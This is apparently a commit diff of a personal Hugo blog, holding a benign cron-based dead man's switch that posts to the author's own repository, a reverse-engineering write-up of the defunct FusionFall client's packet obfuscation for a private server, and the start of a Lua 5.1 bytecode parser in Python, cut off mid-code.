let "triggerTime=$dayLimit * 24 * 60 * 60"
let "lastPing=$(stat -c %Y $fileTrigger)"
let "currTime=$(date +%s)"
let "dTime=$currTime-$lastPing"
if [ $dTime -gt $triggerTime ]
then
touch $fileLock
bash $scriptToRun
fi
```
The script is pretty simple and self explanatory. If our file lock exists, exit out. If the delta time from being modified is over 14 days, run our deadman's payload and create the file lock. Let's go ahead and add this script to our VPS's crontab.
```shell
crontab -e
```
![](cron.png)
> You can also see my cronjob for generating the OpenPunk site
If your goal was just to use this switch, you can stop reading now. Just make your payload script at `$HOME/deadman/imdead.sh` and it'll run if your laptop doesn't talk to your VPS in over 14 days. However, my end goal is to add a post to OpenPunk, so everything that follows will be related to that specific payload.
## Your (my) payload
Remember, our end goal is to pull a Houdini and talk from the grave. We'll need to write a payload that commits a new post to our master branch. Let's start by writing our post template.
```yml
---
title: "Im Dead!"
date: {{DATE}}
author: CPunch
tags: []
---
My dead switch was triggered!
```
I'll save that to `$HOME/deadman/dead.md`. Notice the `{{DATE}}`, we'll use `sed` to replace that with the current days date. This will make sure that the post actually appears as the most recent. Next, let's write the actual payload to run when our switch is activated.
```bash
#!/bin/bash
cd $HOME/deadman
postTemplate='dead.md'
pageName='OpenPunk-Hugo/content/pages/dead.md'
currDate=$(date '+%Y-%m-%d')
git clone git@git.openpunk.com:OpenPunk/OpenPunk-Hugo.git
cp $postTemplate $pageName
# replace our {{DATE}} with the current date
sed -i 's/{{DATE}}/'$currDate'/g' $pageName
# commit & push the post
cd OpenPunk-Hugo
git add .
git commit -m "DeadSwitch: Posted dead message"
git push
```
And I'll save that to `$HOME/deadman/imdead.sh`. If your repo is hosted elsewhere, you'll need to add ssh keys to be able to commit to the external repository.
# Testing everything
Alright, so everything is in place now. But how can we make sure that it actually works? It would be unfortunate if we died and our deadswitch broke. We can test that everything works by changing the `$triggerTime` in our deadswitch script to 1 and make our cronjob run every minute.
![](test.png)
And look! It works! Our templated post got posted :)
![](post.png)
Now, I just reset everything and delete `.deadlock`. So next time you get hit by a bus, rest easy because there'll be a meme or two posted to your blog in 2 weeks :D

BIN
content/pages/dead-mans-hugo/cron.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 129 KiB

BIN
content/pages/dead-mans-hugo/ok-get-in.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 379 KiB

BIN
content/pages/dead-mans-hugo/post.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

BIN
content/pages/dead-mans-hugo/test.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 291 KiB

BIN
content/pages/dead-mans-hugo/works.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 63 KiB

22
content/pages/foxnet.md

@ -0,0 +1,22 @@
---
title: "FoxNet: "
date: 2021-09-02
author: CPunch
tags: ["C++", "networking"]
repo: "https://github.com/CPunch/FoxNet"
draft: true
---
Recently I've been trying to find a lightweight networking library for another project. I had looked at several other libraries (RakNet namely) and wasn't impressed. RakNet hasn't been maintained in over 7 years and also included lots of features that weren't needed and unnecessarily made the library FAT. Such as specific reserved packets for consoles like the XBOX and a built-in team balancer. It's pretty obvious that RakNet was geared towards gaming-related applications. After seeing the state of things, I thought it'd be easier to write a minimal networking library that had just the very basics of features and left the rest to be extensible by the user.
## Enter: FoxNet
After spending about a month of trying different styles and ways of making the protocol extensible by the user, I finally landed on something that seems to have the best of both worlds. Let's walk through an example.
First things first, lets clone the repo and setup our CMake environment
```bash
mkdir FoxNetExample && cd FoxNetExample && git clone https://github.com/CPunch/FoxNet.git
```
```CMakeList

392
content/pages/fusionfall-openfusion.md

@ -0,0 +1,392 @@
---
title: "FusionFall OpenFusion"
date: 2020-10-27
author: CPunch
description: "I take a look at the FusionFall client and write my own server implementation"
tags: ["ilspy", "reverse-engineering", "C++"]
repo: "https://github.com/CPunch/FusionFallPacketPOC"
draft: false
---
If you remember my old site before I switched to a static site, I wrote a couple of posts about FusionFall Retro. Unfortunately, that project has since been shutdown. A couple of months ago in the spirit of FFR (and because it got brought up in conversation) I started to become curious about *how* they actually made the server. This kick started my journey into the depths of the FusionFall client. In this post I'm going to explain how I wrote the base for OpenFusion (and JUST the base, seriously, I only mean how OpenFusion accepts connections and sends packets to/from the FF client.)
## How do we get the client?
FusionFall was an old MMO by Cartoon Network. It ran on a custom Unity Web Player engine until it was shutdown in late 2013. ~~Funnily enough, their old CDN is actually *still up to this day*!~~ It hosts client versions from early 2010 to late 2011. Their CDN format looks like this:
```
http://ht.cdn.turner.com/ff/big/{$BUILD}/{$ASSET}
```
~~So for example, to grab the main.unity3d for the january 4th 2010 build, we can simply goto [http://ht.cdn.turner.com/ff/big/beta-20100104/main.unity3d](https://archive.org/download/fusionfallbetabuilds/beta-20100104/main.unity3d). Wow, thats convenient.~~
> NOTE: Their CDN was taken down mid September of 2021, luckily though there are still archives of all the public builds over at [archive.org](https://archive.org/download/fusionfallbetabuilds)!
If you've noticed, that main.unity3d file is just a unity web player file. We can't actually run the client without the Web Plugin installed. There's tons of ways to go about this, from using the [Pale Moon](https://www.palemoon.org/) browser & FF's old UnityWebPlayer installed. But I'm just going to cut to the chase and give you an old electron client I made that will set everything up for our main.unity3d file to run through a matching Unity Web Player version. Which you can download [here](FusionFallPlayer.zip).
## Configuration
If you've noticed in the electron client I've provided, there's a lot of non-php files with the .php extension. It turns out the FusionFall client actually makes GET requests to find out where to connect to the login server, and where to look for assets (which I just provided the CDN).
Here's a list of the important requests the beta-20100104 client makes:
- /assetInfo.php
- Defines the base URL from which assets are requested from
- /loginInfo.php
- Defines the ip & port the loginserver is hosted on
Both of these files can be found at resources/app/files. I already took care of assetInfo.php for you and just linked the corresponding CDN link, and loginInfo.php is set to look at 127.0.0.1 on port 8001. Basically the electron client (which is just an old version of chromium) is pointed to resources/app/files/, so when the main.unity3d file makes the GET request through the browser the electron client just reads our files instead :)
## Reading the C# assemblies
main.unity3d files have their own format. Luckily though there have been many tools made to extract the assets. In fact, after googling "extract UnityWeb assets" I found [QuickBMS](https://aluigi.altervista.org/quickbms.htm), which explains that we can just use QuickBMS and a [corresponding script](https://aluigi.altervista.org/bms/unity3d_webplayer.bms) to extract the assets from the file. So after running:
```bash
$ quickbms unity3d_webplayer.bms main.unity3d
```
We'll end up with these files
![](file_layout.png)
Now it's just a matter of feeding the assembly to DNSpy or in my case ILSpy.
```bash
$ ilspycmd Assembly\ -\ CSharp.dll > out.cs
```
## Weird obfuscation
Let's take a look at csSocketManager, it's in charge of obfuscating packets before sending to the server and de-obfuscating packets from the server. You'll notice there's an EKey and an FEKey. I'm only going to be talking about the EKey today but the FEKey is used when switching from the login server to the shard server (the actual game server.) In the constructor you can actually see the default key that's set.
![](manager_constructor.png)
They use Marshal to convert the string into an array of bytes and then into a long int (8 bytes long.) We can actually see what this key is used for over in Encrypt_Data()
![](encrypt_data.png)
First, Encrypt_Data() calls Encrypt_xor_64bit() with the default key, the data, and the size of the data. Encrypt_xor_64bit() looks like
![](encrypt_xor.png)
It looks like a mess, but basically the default key is xor'd over the data and the size of the xor'd data is returned. After Encrypt_xor_64bit() is called, Encrypt_Data() calls Encrypt_byte_change_A() which looks like
![](encrypt_byte.png)
Encrypt_byte_change_A() swaps some bytes around in an easily reversible way and returns the amount of bytes swapped.
If I were to rewrite the above methods in C++, it would look like so
```cpp
namespace CNSocketObfuscation {
static constexpr const char* defaultKey = "m@rQn~W#";
static const unsigned int keyLength = 8;
// literally C/P from the client and converted to C++ (does some byte swapping /shrug)
int Encrypt_byte_change_A(int ERSize, uint8_t* data, int size) {
int num = 0;
int num2 = 0;
int num3 = 0;
while (num + ERSize <= size) {
int num4 = num + num3;
int num5 = num + (ERSize - 1 - num3);
uint8_t b = data[num4];
data[num4] = data[num5];
data[num5] = b;
num += ERSize;
num3++;
if (num3 > ERSize / 2) {
num3 = 0;
}
}
num2 = ERSize - (num + ERSize - size);
return num + num2;
}
int xorData(uint8_t* buffer, uint8_t* key, int size) {
// xor every 8 bytes with 8 byte key
for (int i = 0; i < size; i++) {
buffer[i] ^= key[i % keyLength];
}
return size;
}
int encryptData(uint8_t* buffer, uint8_t* key, int size) {
int eRSize = size % (keyLength / 2 + 1) * 2 + keyLength; // C/P from client
int size2 = xorData(buffer, key, size);
return Encrypt_byte_change_A(eRSize, buffer, size2);
}
// we'll get back to these :eyes:
int decryptData(uint8_t* buffer, uint8_t* key, int size);
uint64_t createNewKey(uint64_t uTime, int32_t iv1, int32_t iv2);
}
```
Decrypting data is just as simple, just call the methods in reverse order
```cpp
int decryptData(uint8_t* buffer, uint8_t* key, int size) {
int eRSize = size % (keyLength / 2 + 1) * 2 + keyLength; // size % of 18????
int size2 = Encrypt_byte_change_A(eRSize, buffer, size);
return xorData(buffer, key, size2);
}
```
## Packet structure
So once the data has been de-obfuscated, how is it parsed? Well, after checking what calls Decrypt_Data I find this method in cnNetworkManager.
![](network_update.png)
First thing this method calls is csSocketManager.GetPacket(), which is a pretty simple method
![](getpacket.png)
Basically from a queue of waiting packets to be processed it'll return one. This queue is populated by csSocket.Update() which explains how part of the packets are laid out.
![](socketupdate.png)
> I've taken the liberty of going ahead and annotating the decompiled source of this method. Basically this method populates csSockManager's queue of packets.
So before the data is even de-obfuscated a size is read and used to grab the rest of the packet. Packets start with a 4 byte long integer in little endian which tells us the size of the rest of the packet. So going back to cnNetworkManager.Update(), after the packet is grabbed, it's de-obfuscated with csSocketManager.Decrypt_Data() and passed to a cnEvent. This cnEvent is defined as
![](networkcnevent.png)
cnEvents are used internally as a communication between managers. Looking at the constructor and the SendEvent() method we find
![](cnevent.png)
> SendEvent() finds the GlobalManager (or creates it if it doesn't exist) and calls ReceiveEvent() with the specified event
and looking into GameManager we find
![](gamemanager.png)
> I omitted a lot of useless code here so you can easily see what's important.
SO, when cnEvent.SendEvent() is called, it calls GameManager.ReceiveEvent() which calls the corresponding defined manager's function. We know that 2 is defined as the GameFrame.ReceiveEvent(), so looking at GameFrame.ReceiveEvent() we find
![](gameframereceive.png)
> Again, I omitted a lot of out of context code so you can easily see what's important
Now, I know what you're thinking, "wow, thats a lot of code just to call a single function in another class." Yes. I 100% agree, but this is what they did and I didn't want to just say "so basically packets are read here" because part of the process is sifting through a LOT of junk code. Anyways, when cnEvent.SendEvent() is called with the cnEvent(2, 5) constructor GameFrame.ReceivePacket() is called and the event is passed; which looks like
![](gameframepacket.png)
> This method handles every single incoming packet from the server and sends it to it's corresponding manager class. This is a HUGE method.
OK, we're finally getting somewhere, the event is unpacked and csSocketData.GetPacketType() is called and depending on the packet type returned, each packet is handled. So what we really need to know right now is how are packet types encoded? Well we can just look at csSocketData.GetPacketType()
![](cnsocketdata.png)
Ah, so after being de-obfuscated theres a 4 byte unsigned int that represents the packet type id and then a structure right after.
## Receiving from the client
So after writing some socket boilerplate code (which you can read in [main() on the repository](https://github.com/CPunch/FusionFallPacketPOC/blob/816a696b4fb0f5bb4ccd942ab2b157705d4cf044/src/main.cpp#L188)) we can finally try reading some packets.
```cpp
void readPacket(SOCKET sock, uint32_t id, void *buff) {
std::cout << "[READ] ID: " << id << std::endl;
}
void receivePacket(SOCKET sock) {
uint8_t buff[4096];
// first thing we do is read the packet size into our tmp buffer
int size = read(sock, (buffer_t*)buff, sizeof(uint32_t));
// now read the packet size (this includes the type)
uint32_t packetSize = *((uint32_t*)buff);
// now read the rest of the packet && deobfuscate it with the default key
// (we'll also overwrite the packetSize in the buffer but thats fine bc we already read it)
size = read(sock, (buffer_t*)buff, packetSize);
CNSocketObfuscation::decryptData(buff, (uint8_t*)CNSocketObfuscation::defaultKey, packetSize);
// now read the packet ID and send the pointer to the struct would be and pass it to readPacket()
readPacket(sock, *((uint32_t*)buff), buff + sizeof(uint32_t));
}
```
After compiling and running our server, we can run our client (with loginInfo.php set to 127.0.0.1:8001) and we'll see a login screen. After entering in our very important login details and clicking login our server will politely say
![](server_id_out.png)
And Ctrl+F'ing our decompiled source with the corresponding packet type ID shows us
![](sendlogin.png)
Neat! So it sends a structure with all the login data to the server, that structure is defined as
```csharp
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode, Pack = 4, Size = 468)]
public struct sP_CL2LS_REQ_LOGIN
{
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 33)]
public string szID;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 33)]
public string szPassword;
[MarshalAs(UnmanagedType.I4)]
public int iClientVerA;
[MarshalAs(UnmanagedType.I4)]
public int iClientVerB;
[MarshalAs(UnmanagedType.I4)]
public int iClientVerC;
[MarshalAs(UnmanagedType.I4)]
public int iLoginType;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)]
public byte[] szCookie_TEGid;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 255)]
public byte[] szCookie_authid;
}
```
Rewriting that struct in C++ (abusing the pack preprocessor) we'll get
```cpp
#pragma pack(push)
#pragma pack(4)
struct sP_CL2LS_REQ_LOGIN {
char16_t szID[33];
char16_t szPassword[33];
int32_t iClientVerA;
int32_t iClientVerB;
int32_t iClientVerC;
int32_t iLoginType;
uint8_t szCookie_TEGid[64];
uint8_t szCookie_authid[255];
};
#pragma pack(pop)
```
To read those Unicode strings I'll just use the deprecated codecvt api.
```cpp
std::string U16toU8(char16_t* src) {
try {
std::wstring_convert<std::codecvt_utf8_utf16<char16_t>,char16_t> convert;
return convert.to_bytes(src);
} catch(const std::exception& e) {
return "";
}
}
```
So updating readPacket() to print out login info will be
```cpp
void readPacket(SOCKET sock, uint32_t id, void *buff) {
switch (id) {
case 301989889: { // sP_CL2LS_REQ_LOGIN
sP_CL2LS_REQ_LOGIN *loginInfo = (sP_CL2LS_REQ_LOGIN*)buff;
std::cout << "[READ] Got login request:" << std::endl
<< "Client Ver: " << loginInfo->iClientVerA << "." << loginInfo->iClientVerB << "." << loginInfo->iClientVerC << std::endl
<< "Login type: " << loginInfo->iLoginType << std::endl
<< "ID: " << U16toU8(loginInfo->szID) << std::endl
<< "Password: " << U16toU8(loginInfo->szPassword) << std::endl;
break;
}
default:
std::cout << "[READ] UNKNOWN ID: " << id << std::endl;
}
}
```
and our login request is now a bit more readable
![](login_debug.png)
## Talking with the client
Now that we can read packets from the client, the last thing to cover really is sending packets to the client. To do this, we'll just have to do the reverse of what we did when reading packets. Allocate a buffer big enough to hold the size, type and struct, obfuscate the body (type & struct) and send. This method will look like
```cpp
void sendPacket(SOCKET sock, uint32_t id, void *buff, size_t size) {
size_t fullSize = size + (sizeof(uint32_t) * 2); // * 2 for the size & id
size_t bodySize = size + sizeof(uint32_t);
uint8_t fullPacket[fullSize]; // allocate enough for the struct & the packet type id
uint8_t *bodyPacket = fullPacket + sizeof(uint32_t); // skips the location of where the size is
// set the first 4 bytes of our actual packet (excluding the size) to our packet type
memcpy(bodyPacket, (void*)(&id), sizeof(uint32_t));
// set the rest of the packet to our struct
memcpy(bodyPacket + sizeof(uint32_t), buff, size);
// encrypt the body
CNSocketObfuscation::encryptData((uint8_t*)bodyPacket, (uint8_t*)CNSocketObfuscation::defaultKey, bodySize); // encrypts the body of the packet
// finally, set the size & send to the socket
memcpy(fullPacket, (void*)&bodySize, sizeof(uint32_t));
write(sock, fullPacket, fullSize);
}
```
After sending the login request packet, the client expects a response from the server. For our demo I'll just have our server send a login failed response to every login attempt. First lets find out what structure is needed for that packet. Just Ctrl+F'ing for "login_fail" gave us this struct.
```csharp
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode, Pack = 4, Size = 72)]
public struct sP_LS2CL_REP_LOGIN_FAIL
{
[MarshalAs(UnmanagedType.I4)]
public int iErrorCode;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 33)]
public string szID;
}
```
and in C++ looks like
```cpp
#pragma pack(4)
struct sP_LS2CL_REP_LOGIN_FAIL {
int32_t iErrorCode;
char16_t szID[33];
};
```
Looking for references to this struct we'll also find the packet type id and what each error code corresponds too.
![](loginfail.png)
We'll ignore the szID field since it's not important. So after we receive a sP_CL2LS_REQ_LOGIN, we just need to respond with the sP_LS2CL_REP_LOGIN_FAIL packet. After updating our readPacket() function, it looks like
```cpp
void readPacket(SOCKET sock, uint32_t id, void *buff) {
switch (id) {
case 301989889: { // sP_CL2LS_REQ_LOGIN
sP_CL2LS_REQ_LOGIN *loginInfo = (sP_CL2LS_REQ_LOGIN*)buff;
std::cout << "[READ] Got login request:" << std::endl
<< "Client Ver: " << loginInfo->iClientVerA << "." << loginInfo->iClientVerB << "." << loginInfo->iClientVerC << std::endl
<< "Login type: " << loginInfo->iLoginType << std::endl
<< "ID: " << U16toU8(loginInfo->szID) << std::endl
<< "Password: " << U16toU8(loginInfo->szPassword) << std::endl;
sP_LS2CL_REP_LOGIN_FAIL fail;
memset((void*)&fail, 0, sizeof(sP_LS2CL_REP_LOGIN_FAIL)); // zeros out the data
fail.iErrorCode = 6; // client version outdated
sendPacket(sock, 553648130, (void*)&fail, sizeof(sP_LS2CL_REP_LOGIN_FAIL)); // send the packet!
break;
}
default:
std::cout << "[READ] UNKNOWN ID: " << id << std::endl;
}
}
```
After compiling and running again, once we try logging in from our client, we're greeted with
![](client.png)
And boom! We've successfully received and sent packets to and from the FusionFall client! I purposely ignored the key switching and such, documentation on that will probably be written on the OpenFusion wiki. Until next time!

BIN
content/pages/fusionfall-openfusion/FusionFallPlayer.zip

Binary file not shown.

BIN
content/pages/fusionfall-openfusion/client.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 644 KiB

BIN
content/pages/fusionfall-openfusion/cnevent.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

BIN
content/pages/fusionfall-openfusion/cnsocketdata.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

BIN
content/pages/fusionfall-openfusion/encrypt_byte.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

BIN
content/pages/fusionfall-openfusion/encrypt_data.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

BIN
content/pages/fusionfall-openfusion/encrypt_xor.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

BIN
content/pages/fusionfall-openfusion/file_layout.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

BIN
content/pages/fusionfall-openfusion/gameframepacket.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

BIN
content/pages/fusionfall-openfusion/gameframereceive.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

BIN
content/pages/fusionfall-openfusion/gamemanager.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

BIN
content/pages/fusionfall-openfusion/getpacket.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

BIN
content/pages/fusionfall-openfusion/login_debug.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

BIN
content/pages/fusionfall-openfusion/loginfail.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 167 KiB

BIN
content/pages/fusionfall-openfusion/manager_constructor.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

BIN
content/pages/fusionfall-openfusion/network_update.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

BIN
content/pages/fusionfall-openfusion/networkcnevent.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.3 KiB

BIN
content/pages/fusionfall-openfusion/sendlogin.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 127 KiB

BIN
content/pages/fusionfall-openfusion/server_id_out.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

BIN
content/pages/fusionfall-openfusion/socketupdate.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 131 KiB

396
content/pages/lua-bytecode-parser.md

@ -0,0 +1,396 @@
---
title: "Making a Lua Bytecode parser in Python"
date: 2019-09-15
author: CPunch
description: "I talk about how Lua bytecode is structured, and write a basic parser in python."
repo: "https://github.com/CPunch/LuaPytecode"
aliases: ["/post/4", "/blog/5"] # because old NodeJS based site lol
tags: ["lua", "python"]
---
So recently I've been getting back into Lua, my first scripting language. I've already done a series about manipulating the LuaVM, (which you can read [here](/pages/manipulating-lua-vms-1)) but this time I was interested in the LuaVM bytecode, specifically the Lua 5.1 bytecode. If you don't know what bytecode is or even how Lua works, here's a basic rundown:
- LuaC is the Lua Compiler. Its job is to turn our human readable script into Lua Bytecode ready to be executed by the LVM (LuaVM)
- This bytecode is everything the LVM needs to run!
- Constants
- Locals
- Protos (The functions)
- and even Debug information and line info
Now I know what you're thinking "Who cares! Why would I need to know this!" Well, being able to parse bytecode can enable us to do many things! To name a few:
- We could easily edit pre-compiled Lua Scripts embedded in a game.
- Read Lua Bytecode disassembly.
- Help un-obfuscate scripts.
Unfortunately the Lua bytecode has no real standard and changes from version to version. Meaning, our Lua 5.1 Bytecode parser won't be able to read Lua 5.3 Bytecode. Another unfortunate thing is that there is NO official documentation for Lua Bytecode since there is no real standard. Luckily however some really cool guy who made [ChunkSpy](http://chunkspy.luaforge.net/) also wrote some super cool paper about the Lua 5.1 Bytecode!! You can read his amazing paper [here](http://luaforge.net/docman/83/98/ANoFrillsIntroToLua51VMInstructions.pdf)! He talks about some really important stuff like how the instructions are encoded, and the Lua chunk header.
To start off I'm going to make a basic lua script and use luac to compile it.
```lua
print("hello world")
```
I know, I know, I should be scripting for NASA. But the simplicity of this will help us tiptoe into the deep end of the Lua Bytecode later on.
To compile this script, save it as "epic.lua" and call luac like so:
```bash
luac -o epic.luac epic.lua
```
You won't see much but your script was just compiled into Lua bytecode! if you want you can even try to read the compiled script.
![](luac_cat.png)
Hmm a lot of weird symbols. Those symbols before 'epic.luaA' is part of our chunk header, the ones after are our instructions. You can see our 'hello world' and 'print' is readable. Lua stores these as constants and are human readable,,, for the most part.
Anyways lets actually talk about parsing this bytecode. All LVM Bytecode starts with a header. This just lets us know how to correctly parse the bytecode and what version it is. It's read as the following in this order:
- First 4 bytes are hex 0x1b and 'Lua' - 4 Bytes
- Lua revision - 1 Byte
- Lua format - 1 Byte
- Endian flag - 1 Byte
- int size - 1 Byte
- size_t size - 1 Byte
- instruction size - 1 Byte
- lua_Number size - 1 Byte
- integral flag - 1 Byte
or you can just reference the paper lol:
![](bytecode_doc/png)
Knowing this, here's some pseudocode for reading the header:
```python
class LuaCompiler:
def __init__(self):
self.chunks = []
self.chunk = {}
self.index = 0
def get_byte(self):
b = self.bytecode[self.index]
self.index = self.index + 1
return b
def get_string(self, size):
s = "".join(chr(x) for x in self.bytecode[self.index:self.index+size])
self.index = self.index + size
return s
def decode_bytecode(self, bytecode):
self.bytecode = bytecode
self.signature_byte = self.get_byte()
self.signature = self.get_string(3)
self.vm_version = self.get_byte()
self.bytecode_format = self.get_byte()
self.big_endian = (self.get_byte() == 0)
self.int_size = self.get_byte()
self.size_t = self.get_byte()
self.instr_size = self.get_byte() # gets size of instructions
self.l_number_size = self.get_byte() # size of lua_Number
self.integral_flag = self.get_byte()
print("Lua VM version: ", hex(self.vm_version))
print("Big Endian: ", self.big_endian)
print("int_size: ", self.int_size)
print("size_t: ", self.size_t)
```
Now we're going to have to talk about Instructions. The Lua 5.1 VM has 38 different opcodes for 38 instructions. There are 3 main registers, A, B, and C. Not all instructions use all three, with 3 main different types of instructions, each with different ways to encode the registers.
- iABC - This type of instruction uses all three registers, with each representing an unsigned integer.
- iABx - This type of instruction uses A and B, both representing an unsigned integer as well.
- iAsBx - This type of instruction uses A and B, however B can represent a negative number. However the B in this instruction is strange. instead of having 1 bit represent the sign, the range is -131071 to 131071. It's encoded as a regular unsigned integer however, so to get the actual number, you subtract 131071.
All instructions start with the opcode [6 bits], and use the A register [8 bits] however are encoded differently per type:
- iABC - B and C are both 9 bits
- iABx and iAsBx - B is 18 bits
You can also reference this very helpful chart!
![](bit_indexes.png)
In lua Bytecode, datatypes are stored as the following:
- Integer - Usually 4 bytes long, integer.
- Lua_TNumber - all lua numbers are stored as this, 8 Bytes long, double.
- String
- First byte is the size of the string
- Characters
- Boolean - 1 Byte, only (1 or 0)
Now, let's write some code to read the datatypes before parsing the function chunk. We'll need to be able to get the binary of bytes for the instructions, to do that I'll be using python's 'bin' function which turns any number into base 2, aka BInary. However we'll still need it to be 32 bits long, so any missing bits I'll just add a tracing 0. That'll look like this:
```python
# at [p]osition to k
def get_bits(num, p, k):
# convert number into binary first
binary = bin(num)
# remove first two characters
binary = binary[2:]
# fill in missing bits
for i in range(32 - len(binary)):
binary = '0' + binary
end = len(binary) - p + 1
start = len(binary) - k + 1
# extract k bit sub-string
kBitSubStr = binary[start : end]
# convert extracted sub-string into decimal again
return (int(kBitSubStr,2))
```
This method lets us parse the binary of an instruction, and extract the specific bits we want, then convert them back into base 10. Pretty cool :)
However, we still aren't done. We need to parse multiple bytes into a double, integer, etc. To do that, we'll start with what we wrote previously, but with a few more changes. I mainly used python's struct module to be able to parse these bytes. Here's what that looks like:
``` python
class LuaCompiler:
def __init__(self):
self.chunks = []
self.chunk = {}
self.index = 0
def get_byte(self):
b = self.bytecode[self.index]
self.index = self.index + 1
return b
def get_int32(self):
i = 0
if (self.big_endian):
i = int.from_bytes(self.bytecode[self.index:self.index+4], byteorder='big', signed=False)
else:
i = int.from_bytes(self.bytecode[self.index:self.index+4], byteorder='little', signed=False)
self.index = self.index + self.int_size
return i
def get_int(self):
i = 0
if (self.big_endian):
i = int.from_bytes(self.bytecode[self.index:self.index+self.int_size], byteorder='big', signed=False)
else:
i = int.from_bytes(self.bytecode[self.index:self.index+self.int_size], byteorder='little', signed=False)
self.index = self.index + self.int_size
return i
def get_size_t(self):
s = ''
if (self.big_endian):
s = int.from_bytes(self.bytecode[self.index:self.index+self.size_t], byteorder='big', signed=False)
else:
s = int.from_bytes(self.bytecode[self.index:self.index+self.size_t], byteorder='little', signed=False)
self.index = self.index + self.size_t
return s
def get_double(self):
if self.big_endian:
f = struct.unpack('>d', bytearray(self.bytecode[self.index:self.index+8]))
else:
f = struct.unpack('<d', bytearray(self.bytecode[self.index:self.index+8]))
self.index = self.index + 8
return f[0]
def get_string(self, size):
if (size == None):
size = self.get_size_t()
if (size == 0):
return None
s = "".join(chr(x) for x in self.bytecode[self.index:self.index+size])
self.index = self.index + size
return s
def decode_bytecode(self, bytecode):
self.bytecode = bytecode
self.signature_byte = self.get_byte()
self.signature = self.get_string(3)
self.vm_version = self.get_byte()
self.bytecode_format = self.get_byte()
self.big_endian = (self.get_byte() == 0)
self.int_size = self.get_byte()
self.size_t = self.get_byte()
self.instr_size = self.get_byte() # gets size of instructions
self.l_number_size = self.get_byte() # size of lua_Number
self.integral_flag = self.get_byte()
print("Lua VM version: ", hex(self.vm_version))
print("Big Endian: ", self.big_endian)
print("int_size: ", self.int_size)
print("size_t: ", self.size_t)
```
After the header is the first function chunk. This includes:
- Name - dynamic size
- First line - Integer
- Last line - integer
- Upvalues - 1 Byte
- Arguments - 1 Byte
- VArg - 1 Byte
- Stack - 1 Byte
- Instuction list
- Number of instructions - Integer
- Instruction list - Dynamic size
- Constant list
- Number of constants - Integer
- Constants are stored as:
- first byte is type of constant - 1 Byte
- 4 main types of constants:
- Type == 0: Nil - No data, ignore
- Type == 1: Boolean - 1 Byte (1 or 0)
- Type == 3: Lua_TNumber - 8 Bytes
- Type == 4: String - Dynamic size, first byte is length of characters.
- List of constants: - Dynamic size
- Function prototypes
- Number of protos - Integer
- Functions chunks - Dynamic, it's big lol
- Source lines
- Number of lines - Integer
- Lines - Integer, Dynamic size
- Local List
- Number of locals - Integer
- Each local is stored as:
- name - String
- start line - Int
- end line - Int
- Upvalue list
- Number of Upvalues - Integer
- List of strings - strings, the names of the Upvalue
Here's the code equivalent:
```python
def decode_chunk(self):
chunk = {
'INSTRUCTIONS': {},
'CONSTANTS': {},
'PROTOTYPES': {}
}
chunk['NAME'] = self.get_string(None)
chunk['FIRST_LINE'] = self.get_int()
chunk['LAST_LINE'] = self.get_int()
chunk['UPVALUES'] = self.get_byte()
chunk['ARGUMENTS'] = self.get_byte()
chunk['VARG'] = self.get_byte()
chunk['STACK'] = self.get_byte()
if (not chunk['NAME'] == None):
chunk['NAME'] = chunk['NAME'][1:-1]
# parse instructions
print("** DECODING INSTRUCTIONS")
num = self.get_int()
for i in range(num):
instruction = {
# opcode = opcode number;
# type = [ABC, ABx, AsBx]
# A, B, C, Bx, or sBx depending on type
}
data = self.get_int32()
opcode = get_bits(data, 1, 6)
tp = lua_opcode_types[opcode]
instruction['OPCODE'] = opcode
instruction['TYPE'] = tp
instruction['A'] = get_bits(data, 7, 14)
if instruction['TYPE'] == "ABC":
instruction['B'] = get_bits(data, 24, 32)
instruction['C'] = get_bits(data, 15, 23)
elif instruction['TYPE'] == "ABx":
instruction['Bx'] = get_bits(data, 15, 32)
elif instruction['TYPE'] == "AsBx":
instruction['sBx'] = get_bits(data, 15, 32) - 131071
chunk['INSTRUCTIONS'][i] = instruction
print(lua_opcode_names[opcode], instruction)
# get constants
print("** DECODING CONSTANTS")
num = self.get_int()
for i in range(num):
constant = {
# type = constant type;
# data = constant data;
}
constant['TYPE'] = self.get_byte()
if constant['TYPE'] == 1:
constant['DATA'] = (self.get_byte() != 0)
elif constant['TYPE'] == 3:
constant['DATA'] = self.get_double()
elif constant['TYPE'] == 4:
constant['DATA'] = self.get_string(None)[:-1]
print(constant)
chunk['CONSTANTS'][i] = constant
# parse protos
print("** DECODING PROTOS")
num = self.get_int()
for i in range(num):
chunk['PROTOTYPES'][i] = self.decode_chunk()
# debug stuff
print("** DECODING DEBUG SYMBOLS")
# line numbers
num = self.get_int()
for i in range(num):
self.get_int32()
# locals
num = self.get_int()
for i in range(num):
print(self.get_string(None)[:-1]) # local name
self.get_int32() # local start PC
self.get_int32() # local end PC